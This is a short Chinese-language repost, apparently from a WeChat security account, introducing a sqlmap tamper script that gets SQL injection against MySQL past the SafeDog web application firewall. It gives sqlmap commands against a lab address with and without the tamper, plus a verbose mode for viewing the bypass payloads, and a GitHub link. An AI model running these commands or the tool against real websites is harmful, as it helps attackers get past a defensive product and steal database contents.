MySQL注入绕安全狗脚本 -- MySQLByPassForSafeDog
2023-4-24 09:11:15 Author: 编码安全研究(查看原文) 阅读量:54 收藏

工具介绍

此Tamper仅仅适用于MySQL数据库，在SQLMap使用过程中添加参数--tamper=MySQLByPassForSafeDog。

安装与使用

1、安装网站安全狗Apache最新版

2、启用安全狗，不加MySQLByPassForSafeDog绕狗Tamper:

python sqlmap.py -u "http://192.168.2.3:60001/sqli.php?id=1" --random-agent --dbms=mysql

3、启用安全狗，添加MySQLByPassForSafeDog绕狗Tamper:

python sqlmap.py -u "http://192.168.2.3:60001/sqli.php?id=1" --random-agent --dbms=mysql --tamper=MySQLByPassForSafeDog

4、绕过POC

可以添加参数-v 3进行学习查看

python sqlmap.py -u "http://192.168.2.3:60001/sqli.php?id=1" --random-agent --dbms=mysql --tamper=MySQLByPassForSafeDog -v 3

下载地址

项目地址：https://github.com/Tas9er/MySQLByPassForSafeDog

注：如有侵权请联系删除

   学习更多技术，关注我：   

觉得文章不错给点个‘再看’吧。

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY1MDc2Mg==&mid=2247503192&idx=1&sn=a72db8214a574c2c4adef0f0b69d0335&chksm=ce649e3df913172be179119b235c818b4173519d753d2deacdd77efd7c06b525aa02ff260f42#rd
如有侵权请联系:admin#unsafe.sh